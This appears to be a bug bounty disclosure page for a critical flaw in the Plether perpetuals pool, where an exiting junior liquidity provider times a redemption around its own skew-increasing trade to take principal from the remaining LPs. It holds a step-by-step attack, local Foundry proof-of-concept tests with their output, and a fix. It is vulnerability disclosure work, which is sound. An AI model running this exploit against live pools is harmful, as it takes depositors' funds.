VPI float lets an exiting junior LP take principal from remaining LPs
A junior liquidity provider could redeem its shares while positive VPI cash from a freshly opened skew-increasing position was counted in the pool's equity, then close that position to reclaim the VPI through the lifetime clamp. This let the exiting LP take principal from the junior LPs who remained, at an unchanged oracle mark.
- Disclosed after under an hour
#97663 [SC-Critical] VPI float lets an exiting junior LP take principal from remaining LPs
Submitted on Nov 2nd 2026 at 15:49:12 UTC by @hexwolf for Audit Competition | Plether
- Report ID: #97663
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Executive Summary
Mallory can use ordinary junior LP and trader accounts to take principal from the junior LPs who remain in the pool. She requests a junior redemption, opens a skew-increasing position shortly before the redemption epoch settles, lets her redemption price against the positive VPI cash collected from that position, and then closes the position to recover the VPI component through the lifetime clamp. She needs no privileged role, stolen account, forged oracle message, or movement in the oracle mark.
The selected impact is Direct theft of any user funds (Critical). In the exact-release test, Mallory owned 59.97% of junior supply and used a 1,386,000 USDG position at approximately 39.6% skew. Her LP leg gained 1,634.010066 USDG, her trader leg lost 1,108.840404 USDG, and she finished 525.169662 USDG ahead. The remaining junior LP lost 1,094.221023 USDG of marked principal at an unchanged oracle mark.
I inspected the assessed source at commit a82d4fefb02768e5b3bddcc97dee371eee24fea8 and ran the four local Foundry PoC files below. The suites passed 6/6, 2/2, 5/5, and 2/2 tests. Testing used only the repository contracts, MockPyth, and the mock settlement token; it did not contact a network or change any contract under packages/perps/src.
Background
Plether charges VPI when a trade increases aggregate directional skew. CfdMath.tryGetSkewCost in packages/perps/src/CfdMath.sol evaluates the potential k * S^2 / (2 * D), where k is vpiFactor, S is skew, and D is economic pool depth. A skew-increasing open therefore pays positive VPI into HousePool.
Junior deposit and redemption pricing is based on the pool's reconciled distributable equity. HousePoolAccountingLib.buildReconcileSnapshot in packages/perps/src/libraries/HousePoolAccountingLib.sol starts from physical pool assets, subtracts trader claims, and adds terminal marked price PnL. It does not subtract a pool-side payable for positive lifetime VPI that an open position can later reclaim.
The exact-release test installs or verifies these values from packages/perps/DEPLOYMENT.md:
| Parameter | Release value | Use in the PoC |
|---|---|---|
| Maintenance margin | 10 bps | Configured and asserted |
| Initial margin | 20 bps | Configured and asserted |
| Frozen-market margin | 300 bps | Configured and asserted; not reached on the live path |
| Execution fee | 4 bps | Charged on open and close |
| Frozen-close spread | 50 bps | Configured and asserted; not reached on the live path |
vpiFactor |
0.01e18 |
Produces the positive VPI float |
maxSkewRatio |
0.4e18 |
The position is approximately 39.6% of depth |
| Maximum confidence ratio | 10 bps | Configured and asserted; the profitable run uses zero confidence |
| Adverse-confidence multiplier | 2,500 bps | Configured and asserted |
| Senior exposure cap | 40,000,000 USDG | Configured and asserted |
| Maximum Senior share | 8,000 bps | Configured and asserted |
Vulnerability Details
The transfer occurs in four steps:
CfdEngineSettlementSidecar.executeOpeninpackages/perps/src/CfdEngineSettlementSidecar.soldebits Mallory's positive trade cost and callsrecordClaimantInflow(Revenue, CashArrived)for the non-fee amount. The VPI charge becomes physical pool cash and LP revenue immediately.- The reconciliation snapshot built by
HousePoolAccountingLib.buildReconcileSnapshothas no matching positive-VPI payable.HousePool._settleLpEpochinpackages/perps/src/HousePool.soldistributes the resulting equity and funds Mallory's matured junior redemption at the inflated junior principal. CloseAccountingLib.buildCloseStateinpackages/perps/src/libraries/CloseAccountingLib.solcalculates a fresh close-time curve delta and clamps it so the position's lifetime VPI cannot become negative. If Mallory fully closes voluntarily, no other trade has changed aggregate skew, and close-time depth is equal to or lower than open-time depth, the gross VPI component returns the position's lifetime charge.CloseAccountingLib.sol:110-113states: "Clamp so lifetime VPI (accrued + delta) never goes negative. Prevents LP sandwich attacks where an attacker opens at high depth, reduces pool depth, then closes to extract a net-negative lifetime VPI rebate." The clamp bounds the rebate to the position's own paid VPI, so it blocks the depth sandwich it names. It does not bound who owns the pool when the paid VPI is distributed and when it is refunded; that is the gap used here.CfdEnginePlanLibnets the close execution fee, any frozen spread, and unpaid carry against that component and caps the cash rebate to available pool cash. In the live test the pool has enough cash, no frozen spread applies, and Mallory receives the VPI component less the ordinary close fee and dust carry. Because her inflated redemption has already removed her share of the VPI cash, the remaining junior cohort funds the close.
The lifetime clamp is important to the exploit but does not make every close a refund. Liquidation computes no fresh VPI delta. Intervening trades can reduce or reverse the close delta, and an underfunded pool can waive some or all of the action rebate. The PoC holds the relevant skew constant, closes voluntarily, and verifies sufficient cash.
packages/perps/SECURITY.md:1036-1051 says the five-minute cutoff is a maximum-membership quiet period, not an immutable settlement snapshot, and expressly allows trading and pool accounting to change NAV after membership locks. This finding does not rely on NAV being immutable. The distinction is that the observed NAV includes cash tied to an existing position's recoverable lifetime VPI while omitting the corresponding pool-side obligation. Settling a departing cohort against that temporary float changes who receives the cash and who later pays the clamp-protected close rebate; it is not merely an ordinary realized gain or loss after membership lock.
This root cause is also distinct from the published issues. MED-24, "LP can delay other redeemers with zero-payout refund epochs", concerns bounded epoch work and delayed redeemers. MED-29, "Small redeemers can lose funded withdrawal value to the pool and seed account", concerns per-controller allocation rounding. SCAN-31, "Temporary pool-liquidity reduction can amplify a skew-reducing close rebate", concerns the close-time depth denominator. Here, a large fully funded redemption is priced while positive VPI float is in NAV; the lifetime clamp prevents the later gross rebate from exceeding the position's accrued VPI, but it does not prevent the earlier LP-cohort transfer.
Exploitability Analysis
The demonstrated primitive is a permissionless transfer of junior principal. Mallory controls an ordinary junior LP address and an ordinary trader address. She waits through the deposit epoch and one-hour share cooldown, requests redemption before the five-minute cutoff, opens shortly before the boundary, settles the permissionless epoch with a valid current-hour Pyth payload, and closes through the Router FIFO on the next tick.
Repeating the cycle each ~3 hours compounds the remaining LP's loss; nothing in the pool blocks re-entry after the one-hour share cooldown.
Feasibility is constrained and should be assessed honestly. At the 40% skew cap, the zero-confidence break-even is approximately 40% of junior supply; at the maximum accepted 10 bps aggregate confidence it is approximately 58%, and some Senior-constrained configurations become unprofitable before that maximum. The exact-release runs used 59.97% of junior supply: zero confidence produced a 525.169662 USDG attacker profit, and the maximum accepted 10 bps confidence still produced a 40.809907 USDG attacker profit while the remaining junior LP lost 609.999868 USDG. A separate 20% junior-share test at 10 bps confidence lost 422.999662 USDG, while the remaining LP gained overall. The path also depends on the attacker preserving the constructed aggregate skew until the voluntary close; intervening skew, liquidation, or insufficient free cash can reduce or eliminate the rebate. These constraints affect likelihood and payout under the published rules, but they do not change the severity category of the demonstrated direct theft of user principal.
The release Senior covenant does not block the measured instance. The PoC configures the 40,000,000 USDG exposure cap and 80% share cap, deposits 1,000,000 USDG into Senior, and fully funds the 59.97% junior exit. Frozen-market margin and the frozen-close spread are not exercised because the attack runs in live mode.
The exact-release run printed these USDG-atom values (six decimals):
[PASS] test_releaseParameters_selfDealtExitRemainsProfitableAndJuniorLoses()
release MM / IM / FAD margin (bps) 10 20 300
release execution fee / frozen-close spread (bps) 4 50
release confidence limit / multiplier (bps) 10 2500
release Senior exposure cap / share cap (atoms, bps) 40000000000000 8000
attacker share of junior supply (bps) 5997
position lots / notional (atoms) 13860 1386000000000
VPI charged at open (atoms) 2742712735
attacker LP gain vs deposit 1634010066
attacker trader net (fees, carry, VPI net) -1108840404
attacker total net 525169662
honest LP loss over the cycle 1094221023
[PASS] test_releaseParameters_maxAcceptedConfidence_remainsProfitableAndJuniorLoses()
maximum accepted confidence (8-decimal price units) 100000
adverse confidence shift per execution 25000
attacker share of junior supply (bps) 5997
position lots / notional (atoms) 13860 1386000000000
VPI charged at open (atoms) 2744084263
attacker LP gain vs deposit 1842650292
attacker trader net (fees, carry, VPI net) -1801840385
attacker total net 40809907
honest LP loss over the cycle 609999868
Remediation
Track aggregate positive lifetime VPI for live positions as a non-distributable pool-side liability. Increase it when a position pays positive lifetime VPI, decrease or release it as that position closes or is liquidated, and subtract it from equity used for LP deposit and redemption pricing. This mirrors the existing treatment of nonwithdrawable trader-side VPI backing without changing the close lifetime clamp.
Regression coverage should include the self-dealt release path, an unrelated trader and exiting LP, close-before-settlement controls, partial closes, liquidation, offsetting positions, depth changes, nonzero confidence, the Senior covenant, cash-limited rebate waiver, and live versus frozen execution.
Summary
At the assessed commit, positive VPI is booked into LP assets immediately while no pool-side payable follows the open position's clamp-protected ability to reclaim that VPI on a qualifying voluntary close. A large junior LP can settle its redemption against that temporary float and then recover the trader-side VPI component, taking principal from junior LPs who remain. The exact-release Router tests remain profitable at both zero confidence (+525.169662 USDG) and the maximum accepted 10 bps confidence (+40.809907 USDG); the remaining junior LP loses 1,094.221023 USDG and 609.999868 USDG, respectively, at an unchanged mark. Profitability requires a large junior share, sufficiently narrow confidence, preserved skew, and available cash, but the reproduced boundary crossing is direct theft of user principal.
Proof of Concept
Proof of Concept
The PoC is local and non-destructive. From the repository root, create the four files below under packages/perps/test/poc/. Then run these commands in Windows cmd.exe:
cd packages\perps
set FOUNDRY_FFI=false&& set FOUNDRY_VIA_IR=false&& set FOUNDRY_PROFILE=quick&& forge test --offline --threads 1 --match-path test/poc/VpiFloatLpTiming.t.sol -vv
set FOUNDRY_FFI=false&& set FOUNDRY_VIA_IR=false&& set FOUNDRY_PROFILE=quick&& forge test --offline --threads 1 --match-path test/poc/VpiFloatLpTimingVariants.t.sol -vv
set FOUNDRY_FFI=false&& set FOUNDRY_VIA_IR=false&& set FOUNDRY_PROFILE=quick&& forge test --offline --threads 1 --match-path test/poc/VpiFloatNoTradeLpExit.t.sol -vv
set FOUNDRY_FFI=false&& set FOUNDRY_VIA_IR=false&& set FOUNDRY_PROFILE=quick&& forge test --offline --threads 1 --match-path test/poc/VpiFloatLpTimingRelease.t.sol -vv
POSIX:
cd packages/perps
FOUNDRY_FFI=false FOUNDRY_VIA_IR=false FOUNDRY_PROFILE=quick forge test --offline --threads 1 \
--match-path test/poc/VpiFloatLpTimingRelease.t.sol -vv
FOUNDRY_FFI=false FOUNDRY_VIA_IR=false FOUNDRY_PROFILE=quick forge test --offline --threads 1 \
--match-path test/poc/VpiFloatLpTiming.t.sol -vv
FOUNDRY_FFI=false FOUNDRY_VIA_IR=false FOUNDRY_PROFILE=quick forge test --offline --threads 1 \
--match-path test/poc/VpiFloatLpTimingVariants.t.sol -vv
FOUNDRY_FFI=false FOUNDRY_VIA_IR=false FOUNDRY_PROFILE=quick forge test --offline --threads 1 \
--match-path test/poc/VpiFloatNoTradeLpExit.t.sol -vv
run forge build once first if dependencies are not yet installed, then use --offline
Observed suite summaries:
VpiFloatLpTiming.t.sol: 6 passed; 0 failed; 0 skipped
VpiFloatLpTimingVariants.t.sol: 2 passed; 0 failed; 0 skipped
VpiFloatNoTradeLpExit.t.sol: 5 passed; 0 failed; 0 skipped
VpiFloatLpTimingRelease.t.sol: 2 passed; 0 failed; 0 skipped
The first suite includes the production Router attack and close-before-redemption and zero-factor controls. The second covers a stricter 50% Senior-share cap and the unprofitable 20%-share/10-bps-confidence case. The third shows an unrelated LP capturing the float without trading, a control where the trader closes first, a skew/share sweep, persistence, and the last-second cancellation choice. The fourth uses the release parameters and production Router path at both zero confidence and the maximum accepted 10 bps confidence.
The fixture's router is LegacyOrderRouterHarness (packages/perps/test/utils), a test adapter that inherits the production OrderRouter; it only maps the scalar commitOrder onto the V3 request. executeOrder, settleLpEpoch, the policy evaluator and the execution sidecar are the production contracts. Mark refreshes in the helper call engine.updateMarkPrice as the Router.
packages/perps/test/poc/VpiFloatLpTiming.t.sol
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
// Probe: LP-vs-LP timing on the VPI float.
//
// A skew-increasing open pays VPI cash into HousePool and that cash is booked as LP revenue at once
// (CfdEngineSettlementSidecar.executeOpen -> recordClaimantInflow(Revenue, CashArrived)). The refund that the
// same position receives when it closes skew-reducing (clamped close rebate, CloseAccountingLib) is not a
// liability anywhere in the marked LP NAV (ACCOUNTING_SPEC: "anticipated ... VPI ... stay outside terminal K").
// An LP that redeems while the float is in the pool is paid f * V more than its fair share; the refund is then
// borne by the LPs who stayed. When the LP and the trader are the same party the float is created and
// destroyed on demand around the LP's own epoch settlement.
//
// Parameters: vpiFactor 0.01e18 (DEPLOYMENT.md "Initial release parameters"), everything else BasePerpTest.
import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {ICfdEngineTypes} from "@plether/perps/interfaces/ICfdEngineTypes.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {console2} from "forge-std/console2.sol";
abstract contract VpiFloatLpTimingBase is BasePerpTest {
address internal constant ATTACKER_LP = address(0xA77AC0E1);
address internal constant ATTACKER_TRADER = address(0xA77AC0E2);
uint256 internal constant MARK = 1e8;
uint256 internal constant TRADER_FUNDING = 60_000e6;
uint256 internal constant TRADER_MARGIN = 30_000e6;
struct Numbers {
uint256 attackerLpDeposit;
uint256 attackerShareBps;
uint256 vpiCharged;
int256 navBeforeOpen;
int256 navAfterOpen;
int256 navAfterClose;
uint256 honestValueBeforeOpen;
uint256 honestValueAfterOpen;
uint256 honestValueAfterExit;
uint256 honestValueAfterClose;
uint256 attackerLpAssetsOut;
uint256 traderBalanceAfter;
uint256 lots;
}
function _nav() internal view returns (int256) {
ICfdEngineTypes.TerminalNavSnapshot memory snap = engine.terminalNavSnapshot();
return int256(pool.totalAssets()) - int256(snap.totalTraderClaimsAssets) + snap.terminalLpPriceDeltaAssets;
}
/// @dev Marked value of the honest LP junior shares (the test contract funded 1,000,000 USDG in setUp).
function _honestValue() internal view returns (uint256) {
return juniorVault.convertToAssets(juniorVault.balanceOf(address(this)));
}
function _refreshMark() internal {
vm.prank(address(router));
engine.updateMarkPrice(MARK, uint64(block.timestamp));
}
function _requestRedeemAll(
address lp
) internal returns (uint256 requestId, uint256 shares) {
shares = juniorVault.balanceOf(lp);
vm.prank(lp);
requestId = juniorVault.requestRedeem(shares, lp, lp);
}
function _claimRedeem(
address lp,
uint256 requestId
) internal returns (uint256 assets) {
uint256 shares = juniorVault.claimableRedeemRequest(requestId, lp);
vm.prank(lp);
assets = juniorVault.claimRedeem(requestId, shares, lp, lp);
}
// --- flow hooks: engine-level (planner + settlement sidecar pranked as router) or real Router path ---
function _openSkew(
uint256 lots
) internal virtual {
_open(ATTACKER_TRADER, CfdTypes.Side.SHORT, lots * CfdTypes.SIZE_QUANTUM, TRADER_MARGIN, MARK);
}
function _closeSkew(
uint256 lots
) internal virtual {
_close(ATTACKER_TRADER, CfdTypes.Side.SHORT, lots * CfdTypes.SIZE_QUANTUM, MARK);
}
function _settleEpoch(
uint256 epochId
) internal virtual {
uint256 start = pool.lpEpochStart(epochId);
if (block.timestamp < start) {
vm.warp(start);
}
_refreshMark();
_settleLpEpochForTest();
}
/// @param redeemBeforeClose true: the attacker LP exit settles while the attacker skew is open (attack);
/// false: the attacker closes first and the LP exit settles afterwards (control).
function _run(
uint256 attackerLpDeposit,
uint256 lots,
bool redeemBeforeClose
) internal returns (Numbers memory n) {
n.attackerLpDeposit = attackerLpDeposit;
n.lots = lots;
// 1. Attacker LP joins junior through the ordinary async path and waits out the share cooldown.
_fundJunior(ATTACKER_LP, attackerLpDeposit);
vm.warp(block.timestamp + juniorVault.DEPOSIT_COOLDOWN() + 1);
_refreshMark();
n.attackerShareBps = juniorVault.balanceOf(ATTACKER_LP) * 10_000 / juniorVault.totalSupply();
// 2. Attacker LP queues a full redemption for the next epoch (request window rule applies).
(uint256 requestEpoch,) = juniorVault.getRequestEpochWindow();
(uint256 requestId, uint256 attackerShares) = _requestRedeemAll(ATTACKER_LP);
assertEq(requestId, requestEpoch, "request lands in the imminent epoch");
n.navBeforeOpen = _nav();
n.honestValueBeforeOpen = _honestValue();
// 3. Just before the epoch boundary the attacker trader opens a skew-increasing position at the mark.
vm.warp(pool.lpEpochStart(requestEpoch) - 30);
_refreshMark();
_fundTrader(ATTACKER_TRADER, TRADER_FUNDING);
_openSkew(lots);
(,,,,,, int256 vpiAccrued) = engine.positions(ATTACKER_TRADER);
n.vpiCharged = uint256(vpiAccrued);
n.navAfterOpen = _nav();
n.honestValueAfterOpen = _honestValue();
if (!redeemBeforeClose) {
_closeSkew(lots);
}
// 4. Epoch boundary: anyone settles (router-bound current-hour mark). The attacker redemption is funded
// at juniorPrincipal after reconcile, which includes the VPI cash.
_settleEpoch(requestEpoch);
assertEq(
juniorVault.claimableRedeemRequest(requestId, ATTACKER_LP), attackerShares, "redemption fully funded"
);
n.attackerLpAssetsOut = _claimRedeem(ATTACKER_LP, requestId);
n.honestValueAfterExit = _honestValue();
// 5. The attacker trader closes skew-reducing right after and recovers the VPI through the clamped rebate.
if (redeemBeforeClose) {
vm.warp(block.timestamp + 10);
_closeSkew(lots);
}
n.navAfterClose = _nav();
n.honestValueAfterClose = _honestValue();
n.traderBalanceAfter = clearinghouse.balanceAssets(ATTACKER_TRADER);
(uint256 sizeAfter,,,,,,) = engine.positions(ATTACKER_TRADER);
assertEq(sizeAfter, 0, "position closed");
}
function _log(
Numbers memory n
) internal pure {
console2.log("attacker LP deposit (atoms)", n.attackerLpDeposit);
console2.log("attacker share of junior supply (bps)", n.attackerShareBps);
console2.log("position lots / notional (atoms)", n.lots, n.lots * 100e6);
console2.log("VPI charged at open (atoms)", n.vpiCharged);
console2.log("LP NAV before open", n.navBeforeOpen);
console2.log("LP NAV after open", n.navAfterOpen);
console2.log("LP NAV after close", n.navAfterClose);
console2.log("honest LP value before open", n.honestValueBeforeOpen);
console2.log("honest LP value after open", n.honestValueAfterOpen);
console2.log("honest LP value after attacker LP exit", n.honestValueAfterExit);
console2.log("honest LP value after attacker close", n.honestValueAfterClose);
console2.log("attacker LP assets out", n.attackerLpAssetsOut);
int256 lpGain = int256(n.attackerLpAssetsOut) - int256(n.attackerLpDeposit);
int256 traderPnl = int256(n.traderBalanceAfter) - int256(TRADER_FUNDING);
console2.log("attacker LP gain vs deposit", lpGain);
console2.log("attacker trader net (fees, carry, VPI net)", traderPnl);
console2.log("attacker total net", lpGain + traderPnl);
console2.log(
"honest LP loss over the cycle", int256(n.honestValueBeforeOpen) - int256(n.honestValueAfterClose)
);
}
function _closeFee(
uint256 lots
) internal pure returns (uint256) {
return lots * 100e6 * 4 / 10_000;
}
function _assertAttack(
Numbers memory n
) internal pure {
uint256 expectedLpGain = n.vpiCharged * n.attackerShareBps / 10_000;
int256 lpGain = int256(n.attackerLpAssetsOut) - int256(n.attackerLpDeposit);
// The LP exit captures the attacker pro-rata share of the VPI float (to within 1 USDG of dust/coupon).
assertApproxEqAbs(uint256(lpGain), expectedLpGain, 1e6, "LP gain equals share of VPI float");
// The honest LP that stayed ends below where it started although the mark never moved.
assertLt(n.honestValueAfterClose, n.honestValueBeforeOpen, "honest LP loses at constant mark");
// The attacker trader got the VPI back: its only costs are the two 4 bps execution fees and dust carry.
assertApproxEqAbs(
TRADER_FUNDING - n.traderBalanceAfter, 2 * _closeFee(n.lots), 2e6, "trader paid fees only; VPI refunded"
);
assertGt(lpGain + (int256(n.traderBalanceAfter) - int256(TRADER_FUNDING)), 0, "attacker nets a profit");
}
/// @dev In the controls the only LP-side effect left is the close execution fee that the pool retains when a
/// VPI rebate offsets it (a separate low-severity item: treasury under-collects). It is bounded by 4 bps of
/// the closed notional and is unrelated to the float; the float share itself must not be captured.
function _assertNoFloatCapture(
Numbers memory n
) internal pure {
int256 lpGain = int256(n.attackerLpAssetsOut) - int256(n.attackerLpDeposit);
uint256 floatShare = n.vpiCharged * n.attackerShareBps / 10_000;
uint256 retainedFeeShare = _closeFee(n.lots) * n.attackerShareBps / 10_000;
assertLe(lpGain, int256(retainedFeeShare) + 1e6, "exit at fair NAV returns at most deposit plus fee dust");
if (floatShare > 0) {
assertLt(uint256(lpGain), floatShare / 4, "no share of the VPI float is captured");
}
assertGe(n.honestValueAfterClose + 1e6, n.honestValueBeforeOpen, "honest LP not diluted");
}
}
/// @dev Deployed VPI factor (DEPLOYMENT.md): 0.01e18. Fixture skew cap 40%. Engine-level order path.
contract VpiFloatLpTimingTest is VpiFloatLpTimingBase {
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
CfdTypes.RiskParams memory p = super._riskParams();
p.vpiFactor = 0.01e18;
return p;
}
/// @notice Attack: attacker LP (about half of junior) exits while its own 35% skew is open, then closes.
function test_attackerLpExitsAtVpiInflatedNav_halfOfJunior() public {
Numbers memory n = _run(1_000_000e6, 7000, true);
_log(n);
_assertAttack(n);
}
/// @notice Attack at the 40% skew cap with a 60% junior share (redemption still funded by free cash).
function test_attackerLpExitsAtVpiInflatedNav_sixtyPercentAtCap() public {
// depth about 2,502,000: 9,900 lots = 990,000 notional = 39.6% skew.
Numbers memory n = _run(1_500_000e6, 9900, true);
_log(n);
_assertAttack(n);
}
/// @notice Control 1: identical flows but the close executes before the LP exit settles. No float capture.
function test_control_redeemAfterCloseCapturesNothing() public {
Numbers memory n = _run(1_000_000e6, 7000, false);
_log(n);
_assertNoFloatCapture(n);
}
}
/// @dev Control 2: vpiFactor 0 (BasePerpTest default). Same timing, no float, no transfer.
contract VpiFloatLpTimingZeroFactorControl is VpiFloatLpTimingBase {
function test_control_zeroVpiFactorNoTransfer() public {
Numbers memory n = _run(1_000_000e6, 7000, true);
_log(n);
assertEq(n.vpiCharged, 0, "no VPI at factor zero");
_assertNoFloatCapture(n);
}
}
/// @dev Reachability: the same attack through the production entry points. The attacker trader commits through
/// OrderRouter.commitOrder and executes its own order (self-execution returns the bounty to the source), the
/// attacker LP settles its own epoch through the permissionless OrderRouter.settleLpEpoch with a live Pyth
/// payload (PoolReconcile policy, current-hour component), and the close goes through the FIFO again.
contract VpiFloatLpTimingRouterPathTest is VpiFloatLpTimingBase {
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
CfdTypes.RiskParams memory p = super._riskParams();
p.vpiFactor = 0.01e18;
return p;
}
function _basketData(
uint256 price,
uint256 publishTime
) internal pure returns (bytes[] memory updateData) {
bytes32[] memory ids = _basePythFeedIds();
MockPyth.FeedUpdate[] memory updates = new MockPyth.FeedUpdate[](ids.length);
for (uint256 i; i < ids.length; ++i) {
updates[i] =
MockPyth.FeedUpdate(ids[i], MockPyth.MockPrice(int64(uint64(price)), 0, -8, publishTime, 0));
}
updateData = new bytes[](1);
updateData[0] = abi.encode(updates);
}
function _openSkew(
uint256 lots
) internal override {
vm.prank(ATTACKER_TRADER);
uint64 orderId =
router.commitOrder(CfdTypes.Side.SHORT, lots * CfdTypes.SIZE_QUANTUM, TRADER_MARGIN, MARK, false);
bytes[] memory data = _mockPythUpdateData(MARK);
vm.prank(ATTACKER_TRADER);
router.executeOrder(orderId, data);
}
function _closeSkew(
uint256 lots
) internal override {
vm.prank(ATTACKER_TRADER);
uint64 orderId = router.commitOrder(CfdTypes.Side.SHORT, lots * CfdTypes.SIZE_QUANTUM, 0, 0, true);
bytes[] memory data = _mockPythUpdateData(MARK);
vm.prank(ATTACKER_TRADER);
router.executeOrder(orderId, data);
}
function _settleEpoch(
uint256 epochId
) internal override {
uint256 start = pool.lpEpochStart(epochId);
if (block.timestamp < start) {
vm.warp(start);
}
baseMockPyth.setAllPrices(_basePythFeedIds(), int64(uint64(MARK)), int32(-8), block.timestamp);
vm.prank(ATTACKER_LP);
router.settleLpEpoch(_basketData(MARK, block.timestamp));
}
function test_routerPath_attackerLpExitsAtVpiInflatedNav() public {
Numbers memory n = _run(1_000_000e6, 7000, true);
_log(n);
_assertAttack(n);
}
function test_routerPath_control_redeemAfterClose() public {
Numbers memory n = _run(1_000_000e6, 7000, false);
_log(n);
_assertNoFloatCapture(n);
}
}
packages/perps/test/poc/VpiFloatLpTimingVariants.t.sol
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely positive lifetime VPI is booked as pool revenue immediately, but no matching pool-side liability is subtracted from the equity used to price LP deposits and redemptions, even though the open position can later reclaim that VPI on a qualifying voluntary close.
Impact
The remaining junior LP could lose marked principal at an unchanged oracle mark, though profitability required a large junior share, narrow confidence, preserved skew and available cash.
What the attacker needed
A junior LP account; a separate trader account; wait out deposit epoch and share cooldown; large share of junior supply
The fix
Aggregate positive lifetime VPI for live positions should be tracked as a non-distributable pool-side liability and subtracted from the equity used for LP deposit and redemption pricing.
How it was found
- Join the junior pool through the ordinary deposit path and wait out the share cooldown.
- Request a full junior redemption for the imminent epoch before the cutoff.
- Shortly before the epoch boundary, open a skew-increasing position so positive VPI is paid into the pool.
- Settle the epoch so the redemption is funded at the inflated junior principal, then claim it.
- Close the position skew-reducing to recover the VPI through the lifetime clamp.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Liquidity providers put money into a shared pool, and their share is worth a slice of the pool's total value. When a trader opens a position that pushes the pool's overall market exposure in one direction, the pool charges a fee called VPI, and that cash is counted as pool value straight away. The problem is that the same position can later get that VPI back when it closes, but the pool never set that money aside as something it owes, so someone leaving the pool is paid as if the cash were free profit, and the people left behind cover the refund.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.